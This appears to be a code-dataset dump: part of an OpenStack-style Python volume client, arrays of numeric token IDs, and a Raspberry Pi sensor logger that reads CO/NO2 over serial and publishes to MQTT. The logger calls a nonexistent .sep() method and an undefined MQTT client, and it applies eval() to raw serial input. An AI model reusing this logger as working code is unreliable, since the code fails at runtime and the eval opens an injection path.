"""Begin detaching volume."""
return self.manager.begin_detaching(self)
def roll_detaching(self, volume):
"""Roll detaching volume."""
return self.manager.roll_detaching(self)
def initialize_connection(self, volume, connector):
"""Initialize a volume connection.
:param connector: connector dict from nova.
"""
return self.manager.initialize_connection(self, connector)
def terminate_connection(self, volume, connector):
"""Terminate a volume connection.
:param connector: connector dict from nova.
"""
return self.manager.terminate_connection(self, connector)
def set_metadata(self, volume, metadata):
"""Set or Append metadata to a volume.
:param type : The :class: `Volume` to set metadata on
:param metadata: A dict of key/value pairs to set
"""
return self.manager.set_metadata(self, metadata)
def upload_to_image(self, force, image_name, container_format,
disk_format):
"""Upload a volume to image service as an image."""
return self.manager.upload_to_image(self, force, image_name,
container_format, disk_format)
def force_delete(self):
"""Delete the specified volume ignoring its current state.
:param volume: The UUID of the volume to force-delete.
"""
self.manager.force_delete(self)
def reset_state(self, state):
"""Update the volume with the provided state."""
self.manager.reset_state(self, state)
def extend(self, volume, new_size):
"""Extend the size of the specified volume.
:param volume: The UUID of the volume to extend
:param new_size: The desired size to extend volume to.
"""
self.manager.extend(self, volume, new_size)
def migrate_volume(self, host, force_host_copy):
"""Migrate the volume to a new host."""
self.manager.migrate_volume(self, host, force_host_copy)
# def migrate_volume_completion(self, old_volume, new_volume, error):
# """Complete the migration of the volume."""
# self.manager.migrate_volume_completion(self, old_volume,
# new_volume, error)
class VolumeManager(base.ManagerWithFind):
"""
Manage :class:`Volume` resources.
"""
resource_class = Volume
def create(self, size, snapshot_id=None, source_volid=None,
display_name=None, display_description=None,
volume_type=None, user_id=None,
project_id=None, availability_zone=None,
metadata=None, imageRef=None):
"""
Create a volume.
:param size: Size of volume in GB
:param snapshot_id: ID of the snapshot
:param display_name: Name of the volume
:param display_description: Description of the volume
:param volume_type: Type of volume
:param user_id: User id derived from context
:param project_id: Project id derived from context
:param availability_zone: Availability Zone to use
:param metadata: Optional metadata to set on volume creation
:param imageRef: reference to an image stored in glance
:param source_volid: ID of source volume to clone from
:rtype: :class:`Volume`
"""
if metadata is None:
volume_metadata = {}
else:
volume_metadata = metadata
body = {'volume': {'size': size,
'snapshot_id': snapshot_id,
'display_name': display_name,
'display_description': display_description,
'volume_type': volume_type,
'user_id': user_id,
'project_id': project_id,
'availability_zone': availability_zone,
'status': "creating",
'attach_status': "detached",
'metadata': volume_metadata,
'imageRef': imageRef,
'source_volid': source_volid,
}}
return self._create('/volumes', body, 'volume')
def get(self, volume_id):
"""
Get a volume.
:param volume_id: The ID of the volume to delete.
:rtype: :class:`Volume`
"""
return self._get("/volumes/%s" % volume_id, "volume")
def list(self, detailed=True, search_opts=None):
"""
Get a list of all volumes.
:rtype: list of :class:`Volume`
"""
if search_opts is None:
search_opts = {}
qparams = {}
for opt, val in six.iteritems(search_opts):
if val:
qparams[opt] = val
query_string = "?%s" % urlencode(qparams) if qparams else ""
detail = ""
if detailed:
detail = "/detail"
return self._list("/volumes%s%s" % (detail, query_string),
"volumes")
def delete(self, volume):
"""
Delete a volume.
:param volume: The :class:`Volume` to delete.
"""
self._delete("/volumes/%s" % base.getid(volume))
def update(self, volume, **kwargs):
"""
Update the display_name or display_description for a volume.
:param volume: The :class:`Volume` to delete.
"""
if not kwargs:
return
body = {"volume": kwargs}
self._update("/volumes/%s" % base.getid(volume), body)
def _action(self, action, volume, info=None, **kwargs):
"""
Perform a volume "action."
"""
body = {action: info}
self.run_hooks('modify_body_for_action', body, **kwargs)
url = '/volumes/%s/action' % base.getid(volume)
return self.api.client.post(url, body=body)
def attach(self, volume, instance_uuid, mountpoint):
"""
Set attachment metadata.
:param volume: The :class:`Volume` (or its ID)
you would like to attach.
:param instance_uuid: uuid of the attaching instance.
:param mountpoint: mountpoint on the attaching instance.
"""
return self._action('os-attach',
volume,
{'instance_uuid': instance_uuid,
'mountpoint': mountpoint})
def detach(self, volume):
"""
Clear attachment metadata.
:param volume: The :class:`Volume` (or its ID)
you would like to detach.
"""
return self._action('os-detach', volume)
def reserve(self, volume):
"""
Reserve this volume.
:param volume: The :class:`Volume` (or its ID)
you would like to reserve.
"""
return self._action('os-reserve', volume)
def unreserve(self, volume):
"""
Unreserve this volume.
:param volume: The :class:`Volume` (or its ID)
you would like to unreserve.
"""
return self._action('os-unreserve', volume)
def begin_detaching(self, volume):
"""
Begin detaching this volume.
:param volume: The :class:`Volume` (or its ID)
you would like to detach.
"""
return self._action('os-begin_detaching', volume)
def roll_detaching(self, volume):
"""
Roll detaching this volume.
:param volume: The :class:`Volume` (or its ID)
you would like to roll detaching.
"""
return self._action('os-roll_detaching', volume)
def initialize_connection(self, volume, connector):
"""
Initialize a volume connection.
:param volume: The :class:`Volume` (or its ID).
:param connector: connector dict from nova.
"""
return self._action('os-initialize_connection', volume,
{'connector': connector})[1]['connection_info']
def terminate_connection(self, volume, connector):
"""
Terminate a volume connection.
:param volume: The :class:`Volume` (or its ID).
:param connector: connector dict from nova.
"""
self._action('os-terminate_connection', volume,
{'connector': connector})
def set_metadata(self, volume, metadata):
"""
Update/Set a volumes metadata.
:param volume: The :class:`Volume`.
:param metadata: A list of keys to be set.
"""
body = {'metadata': metadata}
return self._create("/volumes/%s/metadata" % base.getid(volume),
body, "metadata")
def delete_metadata(self, volume, keys):
"""
Delete specified keys from volumes metadata.
:param volume: The :class:`Volume`.
:param metadata: A list of keys to be removed.
"""
for k in keys:
self._delete("/volumes/%s/metadata/%s" % (base.getid(volume), k))
def upload_to_image(self, volume, force, image_name, container_format,
disk_format):
"""
Upload volume to image service as image.
:param volume: The :class:`Volume` to upload.
"""
return self._action('os-volume_upload_image',
volume,
{'force': force,
'image_name': image_name,
'container_format': container_format,
'disk_format': disk_format})
def force_delete(self, volume):
return self._action('os-force_delete', base.getid(volume))
def reset_state(self, volume, state):
"""Update the provided volume with the provided state."""
return self._action('os-reset_status', volume, {'status': state})
def extend(self, volume, new_size):
return self._action('os-extend',
base.getid(volume),
{'new_size': new_size})
def get_encryption_metadata(self, volume_id):
"""
Retrieve the encryption metadata from the desired volume.
:param volume_id: the id of the volume to query
:return: a dictionary of volume encryption metadata
"""
return self._get("/volumes/%s/encryption" % volume_id)._info
def migrate_volume(self, volume, host, force_host_copy):
"""Migrate volume to new host.
:param volume: The :class:`Volume` to migrate
:param host: The destination host
:param force_host_copy: Skip driver optimizations
"""
return self._action('os-migrate_volume',
volume,
{'host': host, 'force_host_copy': force_host_copy})
def migrate_volume_completion(self, old_volume, new_volume, error):
"""Complete the migration from the old volume to the temp new one.
:param old_volume: The original :class:`Volume` in the migration
:param new_volume: The new temporary :class:`Volume` in the migration
:param error: Inform of an error to cause migration cleanup
"""
new_volume_id = base.getid(new_volume)
return self._action('os-migrate_volume_completion',
old_volume,
{'new_volume': new_volume_id, 'error': error})[1]
|
apache-2.0
|
[
3,
1898,
7760,
25187,
10874,
15285,
12,
3277,
14,
199,
3,
2900,
5924,
5702,
14,
199,
3,
199,
3,
259,
3909,
1334,
314,
3668,
844,
12,
3394,
499,
14,
16,
334,
1589,
298,
3761,
3547,
1265,
1443,
199,
3,
259,
440,
675,
642,
570,
871,
315,
4151,
543,
314,
844,
14,
2047,
1443,
3332,
199,
3,
259,
282,
1331,
402,
314,
844,
737,
199,
3,
199,
3,
260,
1455,
921,
1544,
14,
3796,
14,
1308,
15,
2383,
15,
3961,
13,
18,
14,
16,
199,
3,
199,
3,
259,
4158,
1415,
701,
3964,
4179,
503,
4193,
370,
315,
3575,
12,
2032,
199,
3,
259,
1854,
1334,
314,
844,
365,
1854,
641,
376,
298,
1179,
2281,
2,
4207,
12,
2428,
199,
3,
259,
2990,
1549,
4217,
1634,
1821,
3826,
12,
1902,
4056,
503,
2478,
14,
1666,
314,
199,
3,
259,
844,
367,
314,
2488,
2637,
4210,
3443,
436,
4204,
199,
3,
259,
1334,
314,
844,
14,
199,
199,
624,
199,
6464,
3217,
334,
17,
14,
17,
3329,
680,
199,
624,
199,
199,
893,
26,
272,
687,
4011,
492,
16511,
199,
2590,
3545,
26,
272,
687,
4011,
14,
1122,
492,
16511,
199,
646,
3816,
199,
504,
13069,
1258,
492,
1300,
421,
199,
533,
15018,
8,
1095,
14,
4031,
304,
272,
408,
33,
3301,
365,
376,
2402,
1853,
2166,
4887,
370,
314,
14260,
4454,
1041,
272,
347,
636,
2722,
721,
277,
304,
267,
372,
3886,
6464,
26,
450,
83,
4335,
450,
291,
14,
344,
339,
347,
3145,
8,
277,
304,
267,
408,
5392,
642,
3301,
1041,
267,
291,
14,
2609,
14,
1807,
8,
277,
9,
339,
347,
1678,
8,
277,
12,
1011,
958,
304,
267,
408,
4152,
314,
2929,
63,
354,
503,
2929,
63,
1802,
367,
642,
3301,
1041,
267,
291,
14,
2609,
14,
873,
8,
277,
12,
1011,
958,
9,
339,
347,
6554,
8,
277,
12,
1256,
63,
2580,
12,
31301,
304,
267,
408,
1084,
12193,
3341,
14,
398,
520,
635,
1256,
63,
2580,
26,
5377,
402,
314,
6554,
316,
1256,
14,
267,
520,
635,
31301,
26,
31301,
641,
314,
6554,
316,
1256,
14,
267,
408,
267,
372,
291,
14,
2609,
14,
5040,
8,
277,
12,
1256,
63,
2580,
12,
31301,
9,
339,
347,
21236,
8,
277,
304,
267,
408,
9721,
12193,
3341,
1041,
267,
372,
291,
14,
2609,
14,
14481,
8,
277,
9,
339,
347,
32606,
8,
277,
12,
3301,
304,
267,
408,
25845,
642,
3301,
1041,
267,
372,
291,
14,
2609,
14,
19643,
8,
277,
9,
339,
347,
625,
19643,
8,
277,
12,
3301,
304,
267,
408,
1358,
19643,
642,
3301,
1041,
267,
372,
291,
14,
2609,
14,
324,
19643,
8,
277,
9,
339,
347,
5386,
63,
14481,
316,
8,
277,
12,
3301,
304,
267,
408,
5595,
21236,
316,
3301,
1041,
267,
372,
291,
14,
2609,
14,
5037,
63,
14481,
316,
8,
277,
9,
339,
347,
11848,
63,
14481,
316,
8,
277,
12,
3301,
304,
267,
408,
24363,
21236,
316,
3301,
1041,
267,
372,
291,
14,
2609,
14,
2827,
63,
14481,
316,
8,
277,
9,
339,
347,
8265,
63,
2105,
8,
277,
12,
3301,
12,
13252,
304,
267,
408,
9345,
282,
3301,
1950,
14,
398,
520,
635,
13252,
26,
13252,
1211,
687,
5913,
14,
267,
408,
267,
372,
291,
14,
2609,
14,
8489,
63,
2105,
8,
277,
12,
13252,
9,
339,
347,
15095,
63,
2105,
8,
277,
12,
3301,
12,
13252,
304,
267,
408,
12154,
323,
282,
3301,
1950,
14,
398,
520,
635,
13252,
26,
13252,
1211,
687,
5913,
14,
267,
408,
267,
372,
291,
14,
2609,
14,
14478,
63,
2105,
8,
277,
12,
13252,
9,
339,
347,
663,
63,
2343,
8,
277,
12,
3301,
12,
3341,
304,
267,
408,
1084,
503,
18726,
3341,
370,
282,
3301,
14,
398,
520,
635,
730,
520,
710,
520,
533,
26,
658,
6464,
64,
370,
663,
3341,
641,
267,
520,
635,
3341,
26,
437,
1211,
402,
790,
15,
585,
6342,
370,
663,
267,
408,
267,
372,
291,
14,
2609,
14,
409,
63,
2343,
8,
277,
12,
3341,
9,
339,
347,
5802,
63,
475,
63,
1569,
8,
277,
12,
3542,
12,
1834,
63,
354,
12,
3970,
63,
908,
12,
717,
4543,
63,
908,
304,
267,
408,
10301,
282,
3301,
370,
1834,
2435,
465,
376,
1834,
1041,
267,
372,
291,
14,
2609,
14,
5064,
63,
475,
63,
1569,
8,
277,
12,
3542,
12,
1834,
63,
354,
12,
4490,
3970,
63,
908,
12,
4543,
63,
908,
9,
339,
347,
3542,
63,
1807,
8,
277,
304,
267,
408,
5392,
314,
2013,
3301,
17289,
2399,
1453,
1174,
14,
398,
520,
635,
3301,
26,
710,
11134,
402,
314,
3301,
370,
3542,
13,
1807,
14,
267,
408,
267,
291,
14,
2609,
14,
3990,
63,
1807,
8,
277,
9,
339,
347,
5305,
63,
929,
8,
277,
12,
1174,
304,
267,
408,
4152,
314,
3301,
543,
314,
2741,
1174,
1041,
267,
291,
14,
2609,
14,
3958,
63,
929,
8,
277,
12,
1174,
9,
339,
347,
12247,
8,
277,
12,
3301,
12,
892,
63,
890,
304,
267,
408,
30775,
314,
1568,
402,
314,
2013,
3301,
14,
398,
520,
635,
3301,
26,
710,
11134,
402,
314,
3301,
370,
12247,
267,
520,
635,
892,
63,
890,
26,
710,
6387,
1568,
370,
12247,
3301,
370,
14,
267,
408,
398,
291,
14,
2609,
14,
2880,
8,
277,
12,
3301,
12,
892,
63,
890,
9,
339,
347,
12810,
63,
2405,
8,
277,
12,
1591,
12,
3542,
63,
1102,
63,
1574,
304,
267,
408,
26641,
314,
3301,
370,
282,
892,
1591,
1041,
267,
291,
14,
2609,
14,
8462,
63,
2405,
8,
277,
12,
1591,
12,
3542,
63,
1102,
63,
1574,
9,
199,
199,
3,
259,
347,
12810,
63,
2405,
63,
13207,
8,
277,
12,
2269,
63,
2405,
12,
892,
63,
2405,
12,
1125,
304,
199,
3,
263,
408,
14175,
314,
8367,
402,
314,
3301,
1041,
199,
3,
263,
291,
14,
2609,
14,
8462,
63,
2405,
63,
13207,
8,
277,
12,
2269,
63,
2405,
12,
199,
3,
2476,
5185,
892,
63,
2405,
12,
1125,
9,
421,
199,
533,
15018,
2988,
8,
1095,
14,
2988,
3007,
6591,
304,
272,
408,
272,
14944,
520,
533,
1705,
6464,
64,
5944,
14,
272,
408,
272,
2073,
63,
533,
275,
15018,
339,
347,
1218,
8,
277,
12,
1568,
12,
5740,
63,
344,
29,
403,
12,
1350,
63,
2392,
7401,
29,
403
] |
[
1898,
7760,
25187,
10874,
15285,
12,
3277,
14,
199,
3,
2900,
5924,
5702,
14,
199,
3,
199,
3,
259,
3909,
1334,
314,
3668,
844,
12,
3394,
499,
14,
16,
334,
1589,
298,
3761,
3547,
1265,
1443,
199,
3,
259,
440,
675,
642,
570,
871,
315,
4151,
543,
314,
844,
14,
2047,
1443,
3332,
199,
3,
259,
282,
1331,
402,
314,
844,
737,
199,
3,
199,
3,
260,
1455,
921,
1544,
14,
3796,
14,
1308,
15,
2383,
15,
3961,
13,
18,
14,
16,
199,
3,
199,
3,
259,
4158,
1415,
701,
3964,
4179,
503,
4193,
370,
315,
3575,
12,
2032,
199,
3,
259,
1854,
1334,
314,
844,
365,
1854,
641,
376,
298,
1179,
2281,
2,
4207,
12,
2428,
199,
3,
259,
2990,
1549,
4217,
1634,
1821,
3826,
12,
1902,
4056,
503,
2478,
14,
1666,
314,
199,
3,
259,
844,
367,
314,
2488,
2637,
4210,
3443,
436,
4204,
199,
3,
259,
1334,
314,
844,
14,
199,
199,
624,
199,
6464,
3217,
334,
17,
14,
17,
3329,
680,
199,
624,
199,
199,
893,
26,
272,
687,
4011,
492,
16511,
199,
2590,
3545,
26,
272,
687,
4011,
14,
1122,
492,
16511,
199,
646,
3816,
199,
504,
13069,
1258,
492,
1300,
421,
199,
533,
15018,
8,
1095,
14,
4031,
304,
272,
408,
33,
3301,
365,
376,
2402,
1853,
2166,
4887,
370,
314,
14260,
4454,
1041,
272,
347,
636,
2722,
721,
277,
304,
267,
372,
3886,
6464,
26,
450,
83,
4335,
450,
291,
14,
344,
339,
347,
3145,
8,
277,
304,
267,
408,
5392,
642,
3301,
1041,
267,
291,
14,
2609,
14,
1807,
8,
277,
9,
339,
347,
1678,
8,
277,
12,
1011,
958,
304,
267,
408,
4152,
314,
2929,
63,
354,
503,
2929,
63,
1802,
367,
642,
3301,
1041,
267,
291,
14,
2609,
14,
873,
8,
277,
12,
1011,
958,
9,
339,
347,
6554,
8,
277,
12,
1256,
63,
2580,
12,
31301,
304,
267,
408,
1084,
12193,
3341,
14,
398,
520,
635,
1256,
63,
2580,
26,
5377,
402,
314,
6554,
316,
1256,
14,
267,
520,
635,
31301,
26,
31301,
641,
314,
6554,
316,
1256,
14,
267,
408,
267,
372,
291,
14,
2609,
14,
5040,
8,
277,
12,
1256,
63,
2580,
12,
31301,
9,
339,
347,
21236,
8,
277,
304,
267,
408,
9721,
12193,
3341,
1041,
267,
372,
291,
14,
2609,
14,
14481,
8,
277,
9,
339,
347,
32606,
8,
277,
12,
3301,
304,
267,
408,
25845,
642,
3301,
1041,
267,
372,
291,
14,
2609,
14,
19643,
8,
277,
9,
339,
347,
625,
19643,
8,
277,
12,
3301,
304,
267,
408,
1358,
19643,
642,
3301,
1041,
267,
372,
291,
14,
2609,
14,
324,
19643,
8,
277,
9,
339,
347,
5386,
63,
14481,
316,
8,
277,
12,
3301,
304,
267,
408,
5595,
21236,
316,
3301,
1041,
267,
372,
291,
14,
2609,
14,
5037,
63,
14481,
316,
8,
277,
9,
339,
347,
11848,
63,
14481,
316,
8,
277,
12,
3301,
304,
267,
408,
24363,
21236,
316,
3301,
1041,
267,
372,
291,
14,
2609,
14,
2827,
63,
14481,
316,
8,
277,
9,
339,
347,
8265,
63,
2105,
8,
277,
12,
3301,
12,
13252,
304,
267,
408,
9345,
282,
3301,
1950,
14,
398,
520,
635,
13252,
26,
13252,
1211,
687,
5913,
14,
267,
408,
267,
372,
291,
14,
2609,
14,
8489,
63,
2105,
8,
277,
12,
13252,
9,
339,
347,
15095,
63,
2105,
8,
277,
12,
3301,
12,
13252,
304,
267,
408,
12154,
323,
282,
3301,
1950,
14,
398,
520,
635,
13252,
26,
13252,
1211,
687,
5913,
14,
267,
408,
267,
372,
291,
14,
2609,
14,
14478,
63,
2105,
8,
277,
12,
13252,
9,
339,
347,
663,
63,
2343,
8,
277,
12,
3301,
12,
3341,
304,
267,
408,
1084,
503,
18726,
3341,
370,
282,
3301,
14,
398,
520,
635,
730,
520,
710,
520,
533,
26,
658,
6464,
64,
370,
663,
3341,
641,
267,
520,
635,
3341,
26,
437,
1211,
402,
790,
15,
585,
6342,
370,
663,
267,
408,
267,
372,
291,
14,
2609,
14,
409,
63,
2343,
8,
277,
12,
3341,
9,
339,
347,
5802,
63,
475,
63,
1569,
8,
277,
12,
3542,
12,
1834,
63,
354,
12,
3970,
63,
908,
12,
717,
4543,
63,
908,
304,
267,
408,
10301,
282,
3301,
370,
1834,
2435,
465,
376,
1834,
1041,
267,
372,
291,
14,
2609,
14,
5064,
63,
475,
63,
1569,
8,
277,
12,
3542,
12,
1834,
63,
354,
12,
4490,
3970,
63,
908,
12,
4543,
63,
908,
9,
339,
347,
3542,
63,
1807,
8,
277,
304,
267,
408,
5392,
314,
2013,
3301,
17289,
2399,
1453,
1174,
14,
398,
520,
635,
3301,
26,
710,
11134,
402,
314,
3301,
370,
3542,
13,
1807,
14,
267,
408,
267,
291,
14,
2609,
14,
3990,
63,
1807,
8,
277,
9,
339,
347,
5305,
63,
929,
8,
277,
12,
1174,
304,
267,
408,
4152,
314,
3301,
543,
314,
2741,
1174,
1041,
267,
291,
14,
2609,
14,
3958,
63,
929,
8,
277,
12,
1174,
9,
339,
347,
12247,
8,
277,
12,
3301,
12,
892,
63,
890,
304,
267,
408,
30775,
314,
1568,
402,
314,
2013,
3301,
14,
398,
520,
635,
3301,
26,
710,
11134,
402,
314,
3301,
370,
12247,
267,
520,
635,
892,
63,
890,
26,
710,
6387,
1568,
370,
12247,
3301,
370,
14,
267,
408,
398,
291,
14,
2609,
14,
2880,
8,
277,
12,
3301,
12,
892,
63,
890,
9,
339,
347,
12810,
63,
2405,
8,
277,
12,
1591,
12,
3542,
63,
1102,
63,
1574,
304,
267,
408,
26641,
314,
3301,
370,
282,
892,
1591,
1041,
267,
291,
14,
2609,
14,
8462,
63,
2405,
8,
277,
12,
1591,
12,
3542,
63,
1102,
63,
1574,
9,
199,
199,
3,
259,
347,
12810,
63,
2405,
63,
13207,
8,
277,
12,
2269,
63,
2405,
12,
892,
63,
2405,
12,
1125,
304,
199,
3,
263,
408,
14175,
314,
8367,
402,
314,
3301,
1041,
199,
3,
263,
291,
14,
2609,
14,
8462,
63,
2405,
63,
13207,
8,
277,
12,
2269,
63,
2405,
12,
199,
3,
2476,
5185,
892,
63,
2405,
12,
1125,
9,
421,
199,
533,
15018,
2988,
8,
1095,
14,
2988,
3007,
6591,
304,
272,
408,
272,
14944,
520,
533,
1705,
6464,
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
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
guolivar/2spec-on-a-pi
|
logger_main.py
|
1
|
6723
|
#!/usr/bin/env python3
# Load the libraries
#this is to test something
import serial # Serial communications
import time # Timing utilities
import subprocess # Shell utilities ... compressing data files
import os,sys # OS utils to keep working directory
import json # To send JSON object to MQTT broker
import paho.mqtt.client as mqtt # MQTT publishing
import boto3 # AWS client
from botocore.config import Config # Configure AWS client
# Manual, more flexible, "serial readline"
def Serial_Readline(_ser, _eol):
leneol = len(_eol)
_bline = bytearray()
while True:
c = _ser.read(1)
_bline += c
if _bline[-leneol:] == _eol:
break
## Parse the data line
_line = _bline.decode("utf-8").rstrip()
return _line
aws_secrets = open("./secret_aws.txt")
aws_cred = aws_secrets.readline().split(';')
my_S3_config = Config(
region_name = 'ap-southeast-2',
signature_version = 'v4',
retries = {
'max_attempts': 10,
'mode': 'standard'
}
)
clientS3 = boto3.client(
's3',
aws_access_key_id=aws_cred[0],
aws_secret_access_key=aws_cred[1],
config = my_S3_config
)
# Let's use Amazon S3
s3 = boto3.resource('s3')
# Set the time constants
rec_time = time.gmtime()
start_time = int(time.time())
timestamp = time.strftime("%Y/%m/%d %H:%M:%S GMT", rec_time)
prev_minute = rec_time[4]
# Set the minute averaging variables
min_no2 = 0
min_temp_no2 = 0
min_rawno2 = 0
min_rawtemp_no2 = 0
n_samples_no2 = 0
min_co = 0
min_temp_co = 0
min_rawco = 0
min_rawtemp_co = 0
n_samples_co = 0
# Read the settings from the settings file
settings_file = open("./config/settings.txt")
# CO Serial port e.g. "/dev/ttyUSB0"
port_co = settings_file.readline().rstrip('\n')
print(timestamp + port_co)
# NO2 Serial port e.g. "/dev/ttyUSB0"
port_no2 = settings_file.readline().rstrip('\n')
print(timestamp + port_no2)
# path for data files
# e.g. "/home/logger/datacpc3010/"
datapath = settings_file.readline().rstrip('\n')
print(timestamp + datapath)
prev_file_name = datapath + time.strftime("%Y%m%d.txt", rec_time)
flags = settings_file.readline().rstrip().split(',')
print(timestamp + flags[0])
current_LOG_name = datapath + time.strftime("%Y%m%d.LOG", rec_time)
current_file = open(current_LOG_name, "a")
current_file.write(timestamp + " Logging starts\n")
current_file.write(timestamp + " " + port_co + "\n")
current_file.write(timestamp + " " + port_no2 + "\n")
current_file.write(timestamp + " " + datapath + "\n")
current_file.write(timestamp + " " + flags[0] + "\n")
current_file.flush()
current_file.close()
# MQTT address
phant_server = settings_file.readline().rstrip('\n')
# MQTT topic
publickey = settings_file.readline().rstrip('\n')
# Close the settings file
settings_file.close()
fields = ["co", "no2", "co_t", "no2_t", "serial_co", "serial_no2"] # Your feed's data fields
# Hacks to work with custom end of line
eol = b'\n'
# Wait 5 seconds to stabilize the sensors
time.sleep(5)
# Start the logging
while True:
try:
# Open the CO serial port and clean the I/O buffer
ser_co = serial.Serial(port_co, 9600, parity=serial.PARITY_NONE,
bytesize=serial.EIGHTBITS)
ser_co.flushInput()
ser_co.flushOutput()
# If the sensor was working in a continuous mode, stop it
ser_co.write('\r')
# Open the no2 serial port and clean the I/O buffer
ser_no2 = serial.Serial(port_no2, 9600, parity=serial.PARITY_NONE,
bytesize=serial.EIGHTBITS)
ser_no2.flushInput()
ser_no2.flushOutput()
# If the sensor was working in a continuous mode, stop it
ser_no2.write('\r')
# Request a reading (send any character through the serial port)
ser_co.write('\r')
ser_no2.write('\r')
# Get the line of data from the CO sensor
line_co = Serial_Readline(ser_co,eol)
# Get the line of data from the NO2 sensor
line_no2 = Serial_Readline(ser_no2,eol)
# Set the time for the record
rec_time_s = int(time.time())
rec_time = time.gmtime()
timestamp = time.strftime("%Y/%m/%d %H:%M:%S GMT", rec_time)
# SAMPLE LINE ONLY
# line = '111416020452, -160, 20, 60, 32852, 24996, 34986, 00, 00, 02, 48'
line_co = line_co.rstrip()
line_no2 = line_no2.rstrip()
print(rec_time[4])
print(timestamp + line_co)
print(timestamp + line_no2)
# Make the line pretty for the file
# If it has been within 1 hour of the start, flag the data by adding X to
# serialn
if ((rec_time_s - start_time) < 3600):
file_line = timestamp + ', X' + line_co + ', X' + line_no2
else:
if (flags[0] == 'clean'):
ser_co.write('g')
ser_co.write('Z')
ser_co.write('12345\r')
ser_no2.write('g')
ser_no2.write('Z')
ser_no2.write('12345\r')
# Wait 2 seconds for the setting to be active
time.sleep(2)
# clear the serial buffer
ser_co.flushInput()
ser_no2.flushInput()
flags[0] = 'local'
file_line = timestamp + ',' + line_co + ',' + line_no2
json_line = json.dumps(file_line.sep(','))
sep_line_co = line_co.split(',')
sep_line_no2 = line_no2.split(',')
if flags[0]=='online':
min_co = min_co + eval(sep_line_co[1])
min_temp_co = min_temp_co + eval(sep_line_co[2])
min_rawco = min_rawco + eval(sep_line_co[4])
min_rawtemp_co = min_rawtemp_co + eval(sep_line_co[5])
n_samples_co = n_samples_co + 1
min_no2 = min_no2 + eval(sep_line_no2[1])
min_temp_no2 = min_temp_no2 + eval(sep_line_no2[2])
min_rawno2 = min_rawno2 + eval(sep_line_no2[4])
min_rawtemp_no2 = min_rawtemp_no2 + eval(sep_line_no2[5])
n_samples_no2 = n_samples_no2 + 1
# Save it to the appropriate file
current_file_name = datapath + time.strftime("%Y%m%d.txt", rec_time)
current_file = open(current_file_name, "a")
current_file.write(file_line + "\n")
current_file.flush()
current_file.close()
line_co = ""
line_no2 = ""
#Send concentration only data to mqtt_server
print("Sending an update!")
client.publish(mqtt_topic,json_line)
# Compress data if required
# Is it the last minute of the day?
if flags[1] == 1:
if current_file_name != prev_file_name:
subprocess.call(["gzip", prev_file_name])
current_LOG_name = datapath + time.strftime("%Y%m%d.LOG", rec_time)
current_file = open(current_LOG_name, "a")
current_file.write(timestamp + ": Previous data file compressed\n")
current_file.flush()
current_file.close()
prev_file_name = current_file_name
ser_co.close()
ser_no2.close()
except:
current_LOG_name = datapath + time.strftime("%Y%m%d.LOG", rec_time)
current_file = open(current_LOG_name, "a")
current_file.write(timestamp + ": Unexpected error - NO DATA\n")
current_file.flush()
current_file.close()
# Wait 5s for the next measurement --- OPTIONAL
while int(time.time()) < (rec_time_s + 5):
# wait a few miliseconds
time.sleep(0.05)
print('I\'m done')
|
mit
|
[
3381,
2647,
15,
1393,
15,
1813,
2366,
19,
199,
199,
3,
7190,
314,
8363,
199,
3,
3749,
365,
370,
511,
6020,
199,
646,
3012,
198,
257,
327,
11973,
13882,
1298,
199,
646,
900,
1057,
327,
26244,
316,
15841,
199,
646,
3873,
257,
327,
24599,
15841,
2263,
11029,
316,
666,
1584,
199,
646,
747,
12,
1274,
1057,
257,
327,
4403,
3778,
370,
4215,
6449,
2082,
199,
646,
2022,
327,
4005,
3222,
4840,
909,
370,
603,
49,
1481,
15416,
199,
646,
691,
526,
14,
19214,
14,
1258,
465,
22925,
327,
603,
49,
1481,
2780,
316,
199,
646,
6055,
19,
327,
10168,
1890,
199,
504,
21199,
14,
888,
492,
4094,
327,
15453,
10168,
1890,
199,
199,
3,
30247,
12,
1655,
26841,
12,
298,
2171,
14441,
2,
199,
318,
11973,
63,
3284,
604,
1547,
332,
12,
485,
20470,
304,
199,
198,
552,
20470,
275,
822,
1547,
20470,
9,
199,
198,
63,
66,
604,
275,
11640,
342,
199,
198,
6710,
715,
26,
507,
198,
67,
275,
485,
332,
14,
739,
8,
17,
9,
507,
198,
63,
66,
604,
847,
286,
507,
198,
692,
485,
66,
604,
1988,
552,
20470,
2938,
508,
485,
20470,
26,
686,
198,
4785,
199,
198,
309,
6077,
314,
666,
1004,
199,
198,
63,
604,
275,
485,
66,
604,
14,
2708,
480,
1624,
13,
24,
3471,
6735,
342,
199,
198,
1107,
485,
604,
199,
199,
7231,
63,
16153,
275,
1551,
28615,
4731,
63,
7231,
14,
2424,
531,
199,
7231,
63,
18639,
275,
11488,
63,
16153,
14,
6407,
1252,
1294,
26468,
199,
199,
1662,
63,
51,
19,
63,
888,
275,
4094,
8,
199,
198,
4551,
63,
354,
275,
283,
439,
13,
22607,
14346,
13,
18,
297,
199,
198,
5233,
63,
1023,
275,
283,
86,
20,
297,
199,
198,
10937,
275,
469,
507,
198,
6704,
1219,
63,
13143,
356,
1616,
12,
507,
198,
6704,
380,
356,
283,
6807,
7,
199,
198,
93,
199,
9,
199,
199,
1258,
51,
19,
275,
6055,
19,
14,
1258,
8,
199,
198,
1159,
19,
297,
199,
198,
7231,
63,
2732,
63,
498,
63,
344,
29,
7231,
63,
18639,
59,
16,
467,
199,
198,
7231,
63,
4731,
63,
2732,
63,
498,
29,
7231,
63,
18639,
59,
17,
467,
199,
198,
888,
275,
3002,
63,
51,
19,
63,
888,
199,
9,
199,
3,
12230,
1159,
675,
14347,
428,
19,
199,
83,
19,
275,
6055,
19,
14,
1927,
360,
83,
19,
358,
199,
199,
3,
2494,
314,
900,
5262,
199,
2761,
63,
521,
275,
900,
14,
22227,
342,
199,
928,
63,
521,
275,
1109,
8,
521,
14,
521,
1012,
199,
3954,
275,
900,
14,
6205,
3647,
57,
3149,
77,
3149,
68,
450,
40,
2689,
45,
2689,
51,
19152,
401,
6488,
63,
521,
9,
199,
5701,
63,
10698,
275,
6488,
63,
521,
59,
20,
61,
199,
3,
2494,
314,
12709,
282,
422,
7407,
2860,
199,
827,
63,
889,
18,
275,
378,
199,
827,
63,
808,
63,
889,
18,
275,
378,
199,
827,
63,
1773,
889,
18,
275,
378,
199,
827,
63,
1773,
808,
63,
889,
18,
275,
378,
199,
78,
63,
3356,
63,
889,
18,
275,
378,
199,
